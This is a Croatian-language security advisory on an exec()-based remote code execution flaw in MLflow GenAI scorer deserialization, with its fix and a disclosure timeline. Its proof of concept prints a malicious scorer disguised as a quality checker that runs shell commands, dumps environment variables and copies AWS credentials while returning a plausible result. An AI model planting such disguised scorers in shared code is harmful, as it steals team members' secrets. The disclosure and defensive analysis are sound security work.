Udaljeno izvršavanje koda putem deserijalizacije GenAI scorera u MLflowu
Autor: Evan Harris
Rizik: Visok
Zahvaćena komponenta: MLflow GenAI scoreri (mlflow/mlflow)
Ukratko
Mehanizam deserijalizacije GenAI scorera u MLflowu sadržavao je ranjivost udaljenog izvršavanja koda. Pomoćna funkcija recreate_function() u scorer_utils.py prosljeđivala je podatke scorera koje kontrolira napadač (pohranjene u MLflow bazi podataka za praćenje) izravno u Pythonov exec(). Zlonamjerni scorer koji registrira jedan korisnik izvršava proizvoljni kod na računalu bilo koga tko ga naknadno dohvati i pokrene, čime postaje moguć napad na opskrbni lanac razmjera cijelog ML tima. O problemu smo obavijestili održavatelje MLflowa, koji su ga ispravili ograničavanjem registracije i učitavanja prilagođenih scorera na okruženja pod nadzorom Databricksa. Korisnici bi trebali nadograditi na MLflow 3.5.2 ili noviji.
Pozadina
Modul GenAI u MLflowu omogućuje timovima da definiraju scorere, Python funkcije koje ocjenjuju kvalitetu izlaza LLM-ova (provjere duljine, sigurnost sadržaja, oblikovanje i tako dalje). Scoreri se mogu pisati pomoću dekoratora @scorer, registrirati u odnosu na eksperiment i naknadno dohvatiti po imenu pomoću get_scorer() kako bi kolege mogli ponovno upotrijebiti zajedničku ocjenu.
Da bi to funkcioniralo, MLflow serijalizira funkciju na kojoj se scorer temelji i pohranjuje je u bazu podataka za praćenje. Kada se scorer dohvati, MLflow rekonstruira funkciju iz tih pohranjenih podataka. Korak rekonstrukcije mjesto je na kojem se nalazila ranjivost: serijalizirani izvorni kod ponovno se stvarao pozivom Pythonovog exec(), koji izvršava svaki kod koji mu se preda. Budući da su pohranjeni podaci u potpunosti pod kontrolom napadača, svatko tko je mogao registrirati scorer mogao je podmetnuti kod koji bi se izvršio unutar procesa drugog korisnika.
Pregled
Ranjivost se aktivira duž jedinstvenog lanca poziva deserijalizacije koji završava u exec():
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module]
B --> C[Victim imports and registers
the scorer with MLflow]
C --> D[Serialized function stored in
tracking database]
D --> E["get_scorer(name, experiment_id)
registry.py:571"]
E --> F["Scorer.model_validate()
base.py:222"]
F --> G["_reconstruct_decorator_scorer()
base.py:298"]
G --> H["recreate_function()
scorer_utils.py:131"]
H --> I["exec(attacker_source)"]
I --> J[Remote Code Execution
in victim process]
style A fill:#ffebee
style B fill:#ffebee
style C fill:#fff3e0
style D fill:#fff9c4
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#fff9c4
style H fill:#ffcdd2
style I fill:#ffcdd2
style J fill:#ffcdd2
Lanac poziva je sljedeći:
mlflow.genai.scorers.get_scorer()
→ Scorer.model_validate() # registry.py:571
→ _reconstruct_decorator_scorer() # base.py:222
→ recreate_function() # base.py:298
→ exec() # scorer_utils.py:131 ← REMOTE CODE EXECUTION
Scenarij napada
- Napadač piše scorer koji izgleda legitimno (“provjeravač kvalitete” s uvjerljivim docstringom), ali skriva zlonamjerni payload u tijelu funkcije.
- Napadač distribuira scorer kroz kanal kojem žrtva vjeruje: PyPI paket, timski GitHub repozitorij ili zajednički Python modul.
- Žrtva uveze scorer i registrira ga u MLflowu. Serijalizirana funkcija zapisuje se u bazu podataka za praćenje.
- Kasnije, možda na drugom računalu, od strane drugog člana tima, danima ili tjednima poslije, netko dohvati scorer pomoću
get_scorer()i upotrijebi ga. - Tijekom deserijalizacije
recreate_function()pozivaexec()nad pohranjenim izvornim kodom. Skriveni payload izvršava se s punim ovlastima procesa žrtve.
Budući da je okidanje vremenski i po korisnicima odvojeno od registracije, napad je tih: jedan zlonamjerni scorer registriran jednom može kompromitirati sve u timu koji ga naknadno preuzmu.
Dokaz koncepta
Zlonamjerni scorer u nastavku predstavlja se kao provjeravač kvalitete izlaza. Njegovo tijelo sadrži payload koji ostavlja datoteku-marker, izvlači varijable okruženja i prikuplja AWS vjerodajnice prije nego što vrati uvjerljiv rezultat kako bi izbjegao sumnju:
from mlflow.genai.scorers import scorer
@scorer
def quality_checker(outputs):
"""
Quality checker for LLM outputs.
Validates that outputs meet quality standards:
- Minimum length requirements
- No offensive content
- Proper formatting
Returns:
bool: True if output passes quality checks
"""
# MALICIOUS PAYLOAD HIDDEN BELOW
import os
# Create proof file
os.system('touch /tmp/rce_supply_chain.txt')
os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')
# Exfiltrate environment variables
env_data = dict(os.environ)
with open('/tmp/exfiltrated_env.txt', 'w') as f:
f.write("EXFILTRATED ENVIRONMENT:\n")
for key, value in list(env_data.items())[:10]:
f.write(f'{key}={value}\n')
# Harvest AWS credentials
aws_creds_path = os.path.expanduser('~/.aws/credentials')
if os.path.exists(aws_creds_path):
with open(aws_creds_path, 'r') as f_in:
with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
f_out.write(f_in.read())
# Return a valid result to avoid suspicion
return len(outputs) > 10
Žrtva dohvaća zajednički scorer onako kako bi to inače učinila:
import mlflow
from mlflow.genai.scorers import get_scorer
# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")
scorer = get_scorer(name="quality_checker_v1", experiment_id="1")
A zatim ga upotrebljava:
result = scorer(outputs="This is test output to evaluate")
U tom trenutku okida se RCE, a payload se izvršava u procesu žrtve.
Utjecaj
Ovisno o payloadu koji nose nepouzdani podaci scorera, napadač može:
- Izvršiti proizvoljni Python kod s punim ovlastima procesa žrtve
- Izvući osjetljive podatke kao što su vjerodajnice, varijable okruženja i izvorni kod
- Prikupiti vjerodajnice s uobičajenih lokacija (AWS, Docker, SSH)
- Uspostaviti postojanost na računalu žrtve
- Izvesti bočno kretanje i mrežno izviđanje
Utjecaj je pojačan prirodom nedostatka vezanom uz opskrbni lanac: jedan zlonamjerni scorer koji registrira jedan član tima može kompromitirati svakog korisnika koji ga naknadno dohvati, pri čemu se okidanje događa tiho, dugo nakon registracije.
Odgovor MLflowa
Nakon što smo problem prijavili kroz proces koordinirane objave MLflowa, održavatelji su ga riješili u pull requestu #18493.
Umjesto da pokušaju izolirati (staviti u sandbox) ili provjeravati deserijalizirani izvorni kod, održavatelji su uklonili opasnu mogućnost izvan kontroliranih okruženja: registracija i učitavanje prilagođenih scorera temeljenih na kodu sada su ograničeni na Databricks okruženja za praćenje, gdje je skup korisnika koji mogu učitavati scorere pod nadzorom. Korisnici na drugim pozadinama za praćenje usmjeravaju se prema sigurnijim alternativama poput ugrađenih scorera i scorera temeljenih na make_judge(), koji ne zahtijevaju izvršavanje proizvoljnog koda tijekom deserijalizacije.
Ispravak je isporučen u MLflowu 3.5.2.
Preporuke
Za krajnje korisnike
- Nadogradite na MLflow 3.5.2 ili noviji.
- Registrirajte i dohvaćajte prilagođene scorere samo iz izvora kojima u potpunosti vjerujete.
- Prema podacima scorera u bazi podataka za praćenje odnosite se kao prema nepouzdanom kodu, a ne inertnim podacima. Svatko tko može pisati u spremište za praćenje može pokrenuti kod kod svakog potrošača.
- Dajte prednost ugrađenim scorerima ili
make_judge()scorerima, koji ne izvršavaju proizvoljni kod tijekom deserijalizacije. - Ograničite pristup za pisanje zajedničkim bazama podataka za praćenje i pregledajte scorere prije ponovne upotrebe u timu.
Vremenski slijed
| Datum | Događaj |
|---|---|
| 20. listopada 2025. | Ranjivost prijavljena održavateljima MLflowa putem koordinirane objave (issue #18404) |
| 24. listopada 2025. | MLflow spaja ispravak (PR #18493), objavljen u v3.5.2 |
| 8. siječnja 2026. | huntr je označio problem kao duplikat |
| 8. lipnja 2026. | Javna objava |